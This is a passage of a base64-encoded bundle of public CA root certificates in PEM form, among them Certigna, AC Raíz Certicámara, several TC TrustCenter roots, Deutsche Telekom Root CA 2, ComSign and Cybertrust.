LQoKQ2VydGlnbmEKPT09PT09PT0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURxRENDQXBDZ0F3SUJBZ0lKQVA3YzR3RVB5VWovTUEwR0NTcUdTSWIzRFFFQkJRVUFNRFF4Q3pBSkJnTlZCQVlUQWtaU01SSXcKRUFZRFZRUUtEQWxFYUdsdGVXOTBhWE14RVRBUEJnTlZCQU1NQ0VObGNuUnBaMjVoTUI0WERUQTNNRFl5T1RFMU1UTXdOVm9YRFRJMwpNRFl5T1RFMU1UTXdOVm93TkRFTE1Ba0dBMVVFQmhNQ1JsSXhFakFRQmdOVkJBb01DVVJvYVcxNWIzUnBjekVSTUE4R0ExVUVBd3dJClEyVnlkR2xuYm1Fd2dnRWlNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0SUJEd0F3Z2dFS0FvSUJBUURJYVBISjF0YXpOSFVtZ2g3c3RMN3EKWE9FbTdSRkhZZUdpZkJaNFFDSGtZSjVheUdQaHhMR1drdjhZYldrajRTdGk5OTNpTmkrUkI3bEl6dzdzZWJZczV6UkxjQWdsb3p5SApHeG55Z1FjUE9KQVoweEgraHJUeTBWNGVIcGJOZ0d6T096R1R0dktnMEttVkVuMmxtc3hyeUlSV2lqT3A1eUlWVXhid3pCZnNWMS9wCm9ncVlDZDdqWDV4djNFampoUXNWV3FhNm42eEk0d215OS9ReTNsNDB2aHg0WFVKYnpnNGlqMDJRMTMweUdMTUxMR3Evamo4VUVZa2cKRG5jVXRUMlVDSWYzSlI3VnNtQUE3RzhxS0NWdUtqNFlZeGNsUHo1RUlCYjJKc2dscmdWS3RPZGpMUE9NRmxOK1hQc1JHZ2pCUm1LZgpJcmp4d28xcDNQbzZXQWJmQWdNQkFBR2pnYnd3Z2Jrd0R3WURWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVUd1MytRVG1RCnRDUlp2Z0h5VXRWRjlsbzUzQkV3WkFZRFZSMGpCRjB3VzRBVUd1MytRVG1RdENSWnZnSHlVdFZGOWxvNTNCR2hPS1EyTURReEN6QUoKQmdOVkJBWVRBa1pTTVJJd0VBWURWUVFLREFsRWFHbHRlVzkwYVhNeEVUQVBCZ05WQkFNTUNFTmxjblJwWjI1aGdna0EvdHpqQVEvSgpTUDh3RGdZRFZSMFBBUUgvQkFRREFnRUdNQkVHQ1dDR1NBR0crRUlCQVFRRUF3SUFCekFOQmdrcWhraUc5dzBCQVFVRkFBT0NBUUVBCmhRTWVrbkgyUXEvaG8yR2U2L1BBRC9LbDFOcVY1dGErYURZOWZtNGZUSXJ2MFE4aGJWNmxVbVBPRXZqdkt0cHY2emYrRXdMSHl6cysKSW12YVlTNS8xSEk5M1REaEhreEFHWXdQMTV6Umd6QjdtRm5jZmNhNURDbE1vVE9pNjJjNlpZVFRsdUx0ZGtWd2o3VXIzdmtqMWtsdQpQQlMxeHA4MUhsRFF3WTlxY0VRQ1lzdXVIV2hCcDZwWDZGT3FCOUlHOXRVVUJndVJBM1VzYkhLMVlaV2FEWXU1RGVmMTMxVE4zdWJZCjFna0lsMlBsd1M2d3QwUW13Q2JBcjFVd25qdlZOaW9aQlBSY0h2L1BMTGYvMFAySFFCSFZFU083U01BaHFhUW9MZjBWK0xCT0svUXcKV3lIOEVaRTB2a0h2ZTUyWGRmK1hsY0NXV0MvcXUwYlh1K1RaTGc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpBQyBSYVx4QzNceEFEeiBDZXJ0aWNceEMzXHhBMW1hcmEgUy5BLgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJR1pqQ0NCRTZnQXdJQkFnSVBCMzVTazN2Z0ZlTlg4R21NeSt3TU1BMEdDU3FHU0liM0RRRUJCUVVBTUhzeEN6QUpCZ05WQkFZVApBa05QTVVjd1JRWURWUVFLREQ1VGIyTnBaV1JoWkNCRFlXMWxjbUZzSUdSbElFTmxjblJwWm1sallXTnB3N051SUVScFoybDBZV3dnCkxTQkRaWEowYVdQRG9XMWhjbUVnVXk1QkxqRWpNQ0VHQTFVRUF3d2FRVU1nVW1IRHJYb2dRMlZ5ZEdsanc2RnRZWEpoSUZNdVFTNHcKSGhjTk1EWXhNVEkzTWpBME5qSTVXaGNOTXpBd05EQXlNakUwTWpBeVdqQjdNUXN3Q1FZRFZRUUdFd0pEVHpGSE1FVUdBMVVFQ2d3KwpVMjlqYVdWa1lXUWdRMkZ0WlhKaGJDQmtaU0JEWlhKMGFXWnBZMkZqYWNPemJpQkVhV2RwZEdGc0lDMGdRMlZ5ZEdsanc2RnRZWEpoCklGTXVRUzR4SXpBaEJnTlZCQU1NR2tGRElGSmh3NjE2SUVObGNuUnBZOE9oYldGeVlTQlRMa0V1TUlJQ0lqQU5CZ2txaGtpRzl3MEIKQVFFRkFBT0NBZzhBTUlJQ0NnS0NBZ0VBcTJ1Sm8xUE1TQ01JKzhQUFVaWUlMcmdJZW0wOGtCZUdxZW50TGhNMFI3TFFjTnpKUE5DTgp5dTVMRjZ2UWhiQ25Jd1RMcUtMODVYWGJRTXBpaVk5UW5nRTlKbHNZaEJ6TGZEZTNmZXpUZjNNWnNHcXkySWlLTFVWMHFQZXp1TURVCjJzMGlpWFJOV2hVNWN4aDBUN1hybWFmQkhvaTB3cE9RWTVmenA2Y1NzZ2tpQnpQWmtjME9uQjhPSU1mdXV6T05qOExTV0tkZi9XVTMKNG9qQzJJK0dkVjc1TGFlSE0vSjROeStMdkIyR056bXhsUExZdkVxY2d4aGFCdnp6MU5TNmpCVUpKZkQ1dG8wRWZoY1NNMnRYU0V4UAoyeVllNjh5UTU0djVhSHh3RDZNcTBEbzQzemVYNGx2ZWdHSFRnTmlSZzBKYVRBU0phQkU4ckY5b2dFSE1ZRUxPRFZvcURBK2JNTUNtCjhJYmJxMG5YbDIxSWkva0R3RkpubXhMM3d2SXVtR1ZDMmRhYTQ5QVpNUXl0aDlWWEFub3c2SVltKzQ4amlsU0g1TDg4N3V2RGRVaGYKSGpsdmdXSnN4UzNFRjFRWnR6ZU5uRGVSeVBZTDFlcGpiNE9zT01MelA5NmErK0VqWWZESUpzczJ5S0h6TUkra282S2gzVk96M3ZDYQpNaCtEa1hrd3dha2ZVNXRUb2hWVFA5MmRzeEE3U0gySkQvenRBL1g3SldSMURoY1pEWThBRm1kNWVrRDhMVmtIMlpENm1xMDkzSUNLCjVsdzFvbWRNRVd1eCtJQmtBQzF2SW1IRnJFc201Vm9RZ3B1a2czczA5NTZKa1NDWGpyZEN4MmJEME9tazF2VWdqY1REbGF4RUNwMWIKY3p3bVBTOUt2cWZKcHhBZSs1OVFhZk1DQXdFQUFhT0I1akNCNHpBUEJnTlZIUk1CQWY4RUJUQURBUUgvTUE0R0ExVWREd0VCL3dRRQpBd0lCQmpBZEJnTlZIUTRFRmdRVTBRblE2ZGZPZVhSVStUb3dzL1J0TEFNREcyZ3dnYUFHQTFVZElBU0JtRENCbFRDQmtnWUVWUjBnCkFEQ0JpVEFyQmdnckJnRUZCUWNDQVJZZmFIUjBjRG92TDNkM2R5NWpaWEowYVdOaGJXRnlZUzVqYjIwdlpIQmpMekJhQmdnckJnRUYKQlFjQ0FqQk9Ha3hNYVcxcGRHRmphVzl1WlhNZ1pHVWdaMkZ5WVc1MDdXRnpJR1JsSUdWemRHVWdZMlZ5ZEdsbWFXTmhaRzhnYzJVZwpjSFZsWkdWdUlHVnVZMjl1ZEhKaGNpQmxiaUJzWVNCRVVFTXVNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUNBUUJjbExXNFJaRk5qbUVmCkF5Z1BVM3ptcEZtcHM0cDZ4YkQvQ0h3c28zRWNJUk5ub1pVU1FEV0RnNDkwMnpOYzhFbDJDb0ZTM1VuVW1qSXo3NXVueTNYbGVzdVgKRXBCY3VudkZtOSs3T1NQSS81ak9DazBpQVVnSGZvckExU0JDbEVUdnYzZWlpV2RJRzBBREJhR0o3TTlpNHowbGRtYS9KcmU3SXI1dgovemxYZExwNnlRR1Z3WlZSNktzcytMR0dJT2sveXpWYjBoZnBLdjZERXhkQTdvaGlaVnZWTzJEcGV6eTR5ZFYvTmdJbHFtakNNUlczCk1HWHJmeDFJZWJIUE9lSkNnQmJUOVpNai9FeVh5Vm8zYkh3aTJFck4wbzQyZ3ptUmtCREk4Y2sxZmorNDA0SEdJR1FhdGxEQ0lhUjQKM05Bdk8yU1RkUENXa1BIdit3bGFORUNXOERZU3dhTjBqSk4rUWQ1M2kreUcyZElQUHkzUnpFQ2lpV1pJSGlDem5DTlpjNmxFYzd3awplWkJXTjdQR0tYNmpEL0VwT2U5K1hDZ3ljRFdzMnJqSWRXYjhtMHc1UjQ0YmI1dE5BbFFpTSs5aHVwNHBoTzlPU3pOSGRwZHF5MzVmCi9SV21ua0pEVzJaYWlvZ045eGE1UDFGbEsyWnFpOUU0VXFMV1JoSDYvSm9jZEo2UGx3c0NUMlRHOVdqVFN5My9wRGNlaXorL1JMNWgKUnFHRVBRZ25USUVnZDRrSTZtZEFYbXdJVVY4MFdveVdhTTNYOTRuQ0hOTXlBSzlTeTlOZ1d5bzZSMzVyTURPaFlpbC9Tcm5oTGVjVQpJdzRPR0VmaGVmd1ZWZEN4L0NWeFkzVXpIQ01ycjF6WjdVZDNZQTQ3RHg3U3dOeGtCWW44ZU5aY0xDWkRxUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KClRDIFRydXN0Q2VudGVyIENsYXNzIDIgQ0EgSUkKPT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJRXFqQ0NBNUtnQXdJQkFnSU9MbW9BQVFBQ0g5ZFNJU3dSWERzd0RRWUpLb1pJaHZjTkFRRUZCUUF3ZGpFTE1Ba0dBMVVFQmhNQwpSRVV4SERBYUJnTlZCQW9URTFSRElGUnlkWE4wUTJWdWRHVnlJRWR0WWtneElqQWdCZ05WQkFzVEdWUkRJRlJ5ZFhOMFEyVnVkR1Z5CklFTnNZWE56SURJZ1EwRXhKVEFqQmdOVkJBTVRIRlJESUZSeWRYTjBRMlZ1ZEdWeUlFTnNZWE56SURJZ1EwRWdTVWt3SGhjTk1EWXcKTVRFeU1UUXpPRFF6V2hjTk1qVXhNak14TWpJMU9UVTVXakIyTVFzd0NRWURWUVFHRXdKRVJURWNNQm9HQTFVRUNoTVRWRU1nVkhKMQpjM1JEWlc1MFpYSWdSMjFpU0RFaU1DQUdBMVVFQ3hNWlZFTWdWSEoxYzNSRFpXNTBaWElnUTJ4aGMzTWdNaUJEUVRFbE1DTUdBMVVFCkF4TWNWRU1nVkhKMWMzUkRaVzUwWlhJZ1EyeGhjM01nTWlCRFFTQkpTVENDQVNJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dFUEFEQ0MKQVFvQ2dnRUJBS3VBaDV1TzhNTjhoOWZvSklJUnN6emRRMkx1K01ORjJ1amhvRi9SS3JMcWsyamZ0TWpXUStuRWRWbC8vT0VkK0RGdwpJeHVJbmllNWUvMDYwc21wNlJRdmtMNERVc0ZKemZiOTVBaG1DMWVLb2tLZ3VOVi9hVnlRTXJLWERjcEszRVkrQWxXSlUrTWFXc3MyCnhnZFc5NHpQRWZSTXV6QndCSldsOWptTS9YT0JDSDJKWGpJZUlxa2lSVXV3Wmk0d3pKOWwvZnpMZ2FueDREdXZvNGJSaWVyRVJYbFEKWGE3cElYU1NUWXRaZ28rVTQrbEs4ZWRKc0JUajlXTEwxWEs5SDduU242RE5xUG9CeU5rTjM5cjhSNTJ6eUZUZlNVcnhJYW4rR0U3dQpTTlFadSs5OTVPS2R5MXUyYnYvanpWcm5kSUlGdW9BbE9NdmthWjZ2UWFvYWhQVUNBd0VBQWFPQ0FUUXdnZ0V3TUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0RnWURWUjBQQVFIL0JBUURBZ0VHTUIwR0ExVWREZ1FXQkJUanExUk1nS0hiVmtPM2tVckw4NEo2RTF3SXF6Q0IKN1FZRFZSMGZCSUhsTUlIaU1JSGZvSUhjb0lIWmhqVm9kSFJ3T2k4dmQzZDNMblJ5ZFhOMFkyVnVkR1Z5TG1SbEwyTnliQzkyTWk5MApZMTlqYkdGemMxOHlYMk5oWDBsSkxtTnliSWFCbjJ4a1lYQTZMeTkzZDNjdWRISjFjM1JqWlc1MFpYSXVaR1V2UTA0OVZFTWxNakJVCmNuVnpkRU5sYm5SbGNpVXlNRU5zWVhOekpUSXdNaVV5TUVOQkpUSXdTVWtzVHoxVVF5VXlNRlJ5ZFhOMFEyVnVkR1Z5SlRJd1IyMWkKU0N4UFZUMXliMjkwWTJWeWRITXNSRU05ZEhKMWMzUmpaVzUwWlhJc1JFTTlaR1UvWTJWeWRHbG1hV05oZEdWU1pYWnZZMkYwYVc5dQpUR2x6ZEQ5aVlYTmxQekFOQmdrcWhraUc5dzBCQVFVRkFBT0NBUUVBak5mZmZ1NGJnQkN6Zy9YYkVlcHJTNmlTR05uM0J6bjFMTDRHCmRYcG9VeFVjNmtydFh2d2pzaE9nMHduLzl2WXVhMEZ4ZWMzaWJmMnVXV3VGSGJoT0lwcnRaamx1UzVUbVZmd0xHNHQzd1ZNVFpvbloKS05hTDgwVktZN2Y5ZXd0aFhiaHR2c1BjVzNuUzdZYmxvazIrWG5SOGF1MFdPQjkvV0lGYUd1c3lpQzJ5OHpsM2dLOWV0bUYxS2RzagpUWWpLVUNqTGhkTFRFS0paYnRPVFZBQjZva2FWaGdXY3FSbVk1VEZ5REFEaVo5bEE0Q1F6ZTI4c3VWeXJaWjBzckhicU5abjFsN2tQCkpPekhkaUVvWmE1WDZBZUlkVXBXb05JRk9xVG1qWktJTFBQeTRjSEdZZHRCeGNlYjl3NGFVVVhDWVd2Y1pDY1hqRnEzMm5Rb3paZmsKdlE9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpUQyBUcnVzdENlbnRlciBDbGFzcyAzIENBIElJCj09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVxakNDQTVLZ0F3SUJBZ0lPU2tjQUFRQUM1YUJkMWo4QVViOHdEUVlKS29aSWh2Y05BUUVGQlFBd2RqRUxNQWtHQTFVRUJoTUMKUkVVeEhEQWFCZ05WQkFvVEUxUkRJRlJ5ZFhOMFEyVnVkR1Z5SUVkdFlrZ3hJakFnQmdOVkJBc1RHVlJESUZSeWRYTjBRMlZ1ZEdWeQpJRU5zWVhOeklETWdRMEV4SlRBakJnTlZCQU1USEZSRElGUnlkWE4wUTJWdWRHVnlJRU5zWVhOeklETWdRMEVnU1Vrd0hoY05NRFl3Ck1URXlNVFEwTVRVM1doY05NalV4TWpNeE1qSTFPVFU1V2pCMk1Rc3dDUVlEVlFRR0V3SkVSVEVjTUJvR0ExVUVDaE1UVkVNZ1ZISjEKYzNSRFpXNTBaWElnUjIxaVNERWlNQ0FHQTFVRUN4TVpWRU1nVkhKMWMzUkRaVzUwWlhJZ1EyeGhjM01nTXlCRFFURWxNQ01HQTFVRQpBeE1jVkVNZ1ZISjFjM1JEWlc1MFpYSWdRMnhoYzNNZ015QkRRU0JKU1RDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDCkFRb0NnZ0VCQUxUZ3UxRzdPVnlMQk1WTWVSd2poakVRWTBOVkp6L0dSY2VrUGV3SkRSb2VJTUpXSHQ0Yk53Y3dJaTl2OFFieHE2M1cKeUt0aG95OUR4TEN5TGZ6RGxtbDdmb3Jrek1BNUVwQkNZTW5NTldqdTJsK1FWbC9OSEUxYldFbnJEZ0ZQWlBvc1BJbFkyQzh1NHJCbwo2U0k3ZFluV1JCcGw4aHVYSmgwb2Jhem92VmtkS3lUMjFvUURab2drQUhoZzhmaXIvZ0t5YS9zaSt6WG1GdEd0OWk0UzVQbzFhdVVaCnVWM2JPeDRhKzlQL0ZSUUkyQWxxdWtXZEZIbGdmYTlBaWdkenM1T1cwM1EwalRvM0tkNWM3UFh1TGpIQ0lOeSs4VTkvSTFMWlcrSmsKMlp5cUJ3aTFSYjNSMERIQnExU2ZxZExEWW1BRDhiczVTcEpLUFFxNW5jV2cvamNDQXdFQUFhT0NBVFF3Z2dFd01BOEdBMVVkRXdFQgovd1FGTUFNQkFmOHdEZ1lEVlIwUEFRSC9CQVFEQWdFR01CMEdBMVVkRGdRV0JCVFVvdnlmczhQWUE5TlhYQWVrMENTbndQSUExRENCCjdRWURWUjBmQklIbE1JSGlNSUhmb0lIY29JSFpoalZvZEhSd09pOHZkM2QzTG5SeWRYTjBZMlZ1ZEdWeUxtUmxMMk55YkM5Mk1pOTAKWTE5amJHRnpjMTh6WDJOaFgwbEpMbU55YklhQm4yeGtZWEE2THk5M2QzY3VkSEoxYzNSalpXNTBaWEl1WkdVdlEwNDlWRU1sTWpCVQpjblZ6ZEVObGJuUmxjaVV5TUVOc1lYTnpKVEl3TXlVeU1FTkJKVEl3U1Vrc1R6MVVReVV5TUZSeWRYTjBRMlZ1ZEdWeUpUSXdSMjFpClNDeFBWVDF5YjI5MFkyVnlkSE1zUkVNOWRISjFjM1JqWlc1MFpYSXNSRU05WkdVL1kyVnlkR2xtYVdOaGRHVlNaWFp2WTJGMGFXOXUKVEdsemREOWlZWE5sUHpBTkJna3Foa2lHOXcwQkFRVUZBQU9DQVFFQU5tRGtjUGNHSUVQWkl4cEM4dmlqc3JsTmlyVHp3cHBWTVh6RQpPMmVhdE45TkRvcVRTaGVMRzQzS2llSFBPaDZzSGZHY01yU09XWGFpUVlVbE42QVQwUFY4VHRYcWx1SnVjc0c3S3Y1c2J2aVJtRWI4CnlSdFhXK3JJR2pzL3NGR1lQQWZhTEZrQjJvdEU2T0YwL2FkbzNWUzZnMGJzeUVhMStLK1h3RHNKSEkvT2NwWTlNMVp3dkpiTDJOVjkKSUpxRG54cmNPZkhGY3FNUkEvMDdRbElwMitnQjk1dGVqTmFOaGs0Wityd2N2c1VocFllZWVDNDIyd2x4bzNJMCtHempCZ255WGxhbAowOTJZK3RUbUJ2VHd0aUJqUytvcHZhcUNaaDc3Z2Fxbk42MFRHT2FTdzRIQk03dUlIcUhuNHJTOU1Xd09VVDF2KzVaV2dPSTJGOUhjCjVBPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQoKVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBIEkKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUQzVENDQXNXZ0F3SUJBZ0lPSGFJQUFRQUM3TGRnZ0hpTnRnWXdEUVlKS29aSWh2Y05BUUVGQlFBd2VURUxNQWtHQTFVRUJoTUMKUkVVeEhEQWFCZ05WQkFvVEUxUkRJRlJ5ZFhOMFEyVnVkR1Z5SUVkdFlrZ3hKREFpQmdOVkJBc1RHMVJESUZSeWRYTjBRMlZ1ZEdWeQpJRlZ1YVhabGNuTmhiQ0JEUVRFbU1DUUdBMVVFQXhNZFZFTWdWSEoxYzNSRFpXNTBaWElnVlc1cGRtVnljMkZzSUVOQklFa3dIaGNOCk1EWXdNekl5TVRVMU5ESTRXaGNOTWpVeE1qTXhNakkxT1RVNVdqQjVNUXN3Q1FZRFZRUUdFd0pFUlRFY01Cb0dBMVVFQ2hNVFZFTWcKVkhKMWMzUkRaVzUwWlhJZ1IyMWlTREVrTUNJR0ExVUVDeE1iVkVNZ1ZISjFjM1JEWlc1MFpYSWdWVzVwZG1WeWMyRnNJRU5CTVNZdwpKQVlEVlFRREV4MVVReUJVY25WemRFTmxiblJsY2lCVmJtbDJaWEp6WVd3Z1EwRWdTVENDQVNJd0RRWUpLb1pJaHZjTkFRRUJCUUFECmdnRVBBRENDQVFvQ2dnRUJBS1IzSTVaRXI1RDBNYWNROUNhSG5QTTQyUTllM3M5QjZER3R4blNSSkpaNEhnbWdtNXFWU2tyMVlud0MKcU1xcysxb0Vkam5lWC9INXM3L3pBMWhWMHFxMzR3UWkwZmlVMmlJSUFJM1RmQ1pkekhkNTV5eDRPYWdtY3c2aVhTVnBoVTlWRHBydgp4cmxFNFZjOTN4OVVJdVZ2WmFvemhEcnp6bnErVlpldWpSSVBGRFBpVUhERFNZY1R2RkhlMTVnU1d1ODZnek9TQm5XTGtud1NhSHR3CmFnKzFtN1ozVzBoWm5lVHZXcTN6d1o3VTEwVk95bFkwSWJ3K0YxdHZkd3hJQVVNcHNOMC9sbTdtbGFvTXdDQzIvVDQySjV6alhNOU8KZ2R3WnU1R1FmZXptbHdRZWs4d2lTZGVYaHJZVENqeERJM2QrOE56bXpTUWZPNE9iTkRxRE5PTUNBd0VBQWFOak1HRXdId1lEVlIwagpCQmd3Rm9BVWtxUjFMS1Nldm9GRTYzbjhpc1dWcGVzUWRYTXdEd1lEVlIwVEFRSC9CQVV3QXdFQi96QU9CZ05WSFE4QkFmOEVCQU1DCkFZWXdIUVlEVlIwT0JCWUVGSktrZFN5a25yNkJST3Q1L0lyRmxhWHJFSFZ6TUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFBbzB1Q0cKMWViNGUvQ1gzQ0pyTzVVVVZnOFJNS1dhVHpxd091QUd5MlgxN2NhWEovNGw4bGZtWHBXTVBtUmdGVnAvTHcwQnhiRmcvVVUxei9DeQp2d2JaNzFxK3MySWh0TmVyTlh4VFBxWW44YUV0Mmhvam5jemQ3RHd0bmljMFhRL0NObm04eVVwaUxlMXIyWDFCUTN5MnFzcnRZYkUzCmdoVUpHb29XTU5qc3lkWkhjbmhMRUVZVWpsOE9yK3pITDZzUTE3YnhidXlHc3NMb0RaSnozS0wwRHpxL1lTTVFpWnhJUUc1d0FMUFQKdWpkRVdCRjZBbXFJOERjMDhCbnByTlJsYy9acGpHU1VPbm1GS2JBV0t3eUNQd2FjeC8wUUs1NFBMTGFlNHhXLzJUWWN1aVVhVWowYQo3Q0lNSE9Da29qM3c2RG5QZ2NCNzdWMGZiOFhRQzllWQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpEZXV0c2NoZSBUZWxla29tIFJvb3QgQ0EgMgo9PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJRG56Q0NBb2VnQXdJQkFnSUJKakFOQmdrcWhraUc5dzBCQVFVRkFEQnhNUXN3Q1FZRFZRUUdFd0pFUlRFY01Cb0dBMVVFQ2hNVApSR1YxZEhOamFHVWdWR1ZzWld0dmJTQkJSekVmTUIwR0ExVUVDeE1XVkMxVVpXeGxVMlZqSUZSeWRYTjBJRU5sYm5SbGNqRWpNQ0VHCkExVUVBeE1hUkdWMWRITmphR1VnVkdWc1pXdHZiU0JTYjI5MElFTkJJREl3SGhjTk9Ua3dOekE1TVRJeE1UQXdXaGNOTVRrd056QTUKTWpNMU9UQXdXakJ4TVFzd0NRWURWUVFHRXdKRVJURWNNQm9HQTFVRUNoTVRSR1YxZEhOamFHVWdWR1ZzWld0dmJTQkJSekVmTUIwRwpBMVVFQ3hNV1ZDMVVaV3hsVTJWaklGUnlkWE4wSUVObGJuUmxjakVqTUNFR0ExVUVBeE1hUkdWMWRITmphR1VnVkdWc1pXdHZiU0JTCmIyOTBJRU5CSURJd2dnRWlNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0SUJEd0F3Z2dFS0FvSUJBUUNyQzZNMTRJc3BGTEVVaGE4OEVPUTUKYnpWZFNxN2Q2bUdObFVuMGIyU2pHbUJtcEtsQUlvVFoxS1hsZUpNT2FBR3R1VTFjT3M3VHVLaENRTi9QbzdxQ1dXcVNHNndjbXRvSQpLeVVuK1dralIvSGc2eXg2bS9VVEF0QitOSHpDbmp3QVdhdjEyZ3oxTWp3cnJGRGExc1BlZzVUS3FBeVpNZzRJU0ZaYmF2dmE0VmhZCkFVbGZja0U4RlFZQmpsMnRxcmlUdE0yZTY2Zm9haTFTTk5zNjcxeDFVZHJiOHpINTduR1lNc1JVRlVRTStadFY3YTNmR0FpZ280YUsKU2U1VEJZOFpUTlhlV0htYjBtb2NRcXZGMWFmUGFBK1c1T0ZobUhaaHlKRjgxajRBNHBGUWgrR2RDdWF0bDlJZHhqcDl5N3phQXpUVgpqbHNCOVdvSHR4YTJia3AvQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJReHcza2J1dlZUMXhmZ2lYb3RGMndLc3l1ZE16QVBCZ05WCkhSTUVDREFHQVFIL0FnRUZNQTRHQTFVZER3RUIvd1FFQXdJQkJqQU5CZ2txaGtpRzl3MEJBUVVGQUFPQ0FRRUFsR1JaclRsazV5bnIKRS81YXc0c1RWOGdFSlBCMGQ4Qmc0MmY3NlltbWc3K1dnbnh1MU1NOTc1NkFicnNwdEpoNnNUdFU2emtYUjM0YWpndjhIekZaTVFTeQp6aGZ6TE1kaU5sWGlJdGlKVmJTWVNLcGsrdFljTnRoRWVGcGFJenBYbC9WNk1FK3VuMnBNU3l1T29BUGpQdUNwMU5KNzByT280bkk4CnJaNy9nRm5rbTBXMDlqdXd6VGtabURMbDZpRmhrT1F4SVk0MHNmY3ZOVXFGRU5ybmlqY2h2bGxqNFBLRmlERlQxRlFVaFhCNTlDNEcKZHlkMUx4KzRpdm4reGJyWU51U0Q3T2RsdDc5ald2TkdyNEdVTjlSQmpOWWoxaDdQOVdnYlJHT2lXcnFuTlZtaDVYQUZtdzRqVjVtVQpDbTI2T1dNb2hwTHpHSVRZKzlIUEJWWmtWdz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KCkNvbVNpZ24gU2VjdXJlZCBDQQo9PT09PT09PT09PT09PT09PT0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURxekNDQXBPZ0F3SUJBZ0lSQU1jb1J3bXp1R3hGakIzNkpQVTJUdWt3RFFZSktvWklodmNOQVFFRkJRQXdQREViTUJrR0ExVUUKQXhNU1EyOXRVMmxuYmlCVFpXTjFjbVZrSUVOQk1SQXdEZ1lEVlFRS0V3ZERiMjFUYVdkdU1Rc3dDUVlEVlFRR0V3SkpUREFlRncwdwpOREF6TWpReE1UTTNNakJhRncweU9UQXpNVFl4TlRBME5UWmFNRHd4R3pBWkJnTlZCQU1URWtOdmJWTnBaMjRnVTJWamRYSmxaQ0JEClFURVFNQTRHQTFVRUNoTUhRMjl0VTJsbmJqRUxNQWtHQTFVRUJoTUNTVXd3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXcKZ2dFS0FvSUJBUURHdFdoZkhaUVZ3NlFJVlMzam9GZDY3K2wwS3J1NWZGZEpHaEZlVHltSERFaldhdWVQMUg1WEpMa0dpZVFjUE9xcwo0OW9oZ0hNaEN1OTVtR3dmQ1AraFVIM3ltQnZKVkc4K3BTanNJUVFQUmJzSFBhSEEraXFZSFU0R2svdjFpRHVyWDhzV3YrYnpua3FICjdSbnF3cDlENVBHQnBYOFFUejdSU21LdFV4dkxnLzhIWmFXU0xXYXBXN2hhOUIyMElaRktGM3VlTXY1V0pEbXlWSVJEOVlUQzJMeEIKa015ZDFtamE2WUpRcVR0b3o3VmRBcFJnRnJGRDJVTmQzVjJIYnVxN3M4bHI5Z09VQ1hEZUZoRjZLK2gyajBrUW1IZTVZMXlMTTVkMQo5Z3VNc3F0YjNuUWdKVC9qOHhINWgyaUdOWEhESFl3dDYrVWFyQTl6MVlKWlFJRFRBZ01CQUFHamdhY3dnYVF3REFZRFZSMFRCQVV3CkF3RUIvekJFQmdOVkhSOEVQVEE3TURtZ042QTFoak5vZEhSd09pOHZabVZrYVhJdVkyOXRjMmxuYmk1amJ5NXBiQzlqY213dlEyOXQKVTJsbmJsTmxZM1Z5WldSRFFTNWpjbXd3RGdZRFZSMFBBUUgvQkFRREFnR0dNQjhHQTFVZEl3UVlNQmFBRk1GTDdYQzI5ejU4QURzQQpqOGMrRGtXZkhsM3NNQjBHQTFVZERnUVdCQlRCUysxd3R2YytmQUE3QUkvSFBnNUZueDVkN0RBTkJna3Foa2lHOXcwQkFRVUZBQU9DCkFRRUFGcy91a2hOUXEzc1Vuak8yUWlCcTFCVzlDYXY4Y3VqdlIzcVFyRkhCWkU3cGlMMURSWUhqWmlNL0VvWk5HZVFGc09ZM3dvM2EKQmlqSkQ0bWtVNmwxUDdDVys2dE1NMVg1ZUNaR2J4czJtUHRDZHNHQ3VZN2UrMFg1WXh0aU96a0d5bmQ2cUR3SnoydzJQUThLUlV0cApGaHBGZlRNRFpmbFNjWkFtbGF4TURQV0xrei9NZFhTRm1Mci9ZbnBOSDRuK3JyMlVBSm0vRWFYYzRIbkZGZ3Q5QW1FZDZvWDVBaFZQCjUxcUpUaFJ2NHpkTGhmWEJQR0hnL1FWQnNwSi93eDJnMEs1U1pHQnJHTVltbk5qMVpPUTJHbUtmaWc4Ky8yMU9HVlpPSUpGc256UXoKT2pSWFVEcHZnVjRHeHZVK2ZFNk9LODVsQmk1ZDBpcFRkRjdUYmllZWp3PT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQoKQ3liZXJ0cnVzdCBHbG9iYWwgUm9vdAo9PT09PT09PT09PT09PT09PT09PT09Ci0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlEb1RDQ0FvbWdBd0lCQWdJTEJBQUFBQUFCRDRXcUxVZ3dEUVlKS29aSWh2Y05BUUVGQlFBd096RVlNQllHQTFVRUNoTVBRM2xpClpYSjBjblZ6ZEN3Z1NXNWpNUjh3SFFZRFZRUURFeFpEZVdKbGNuU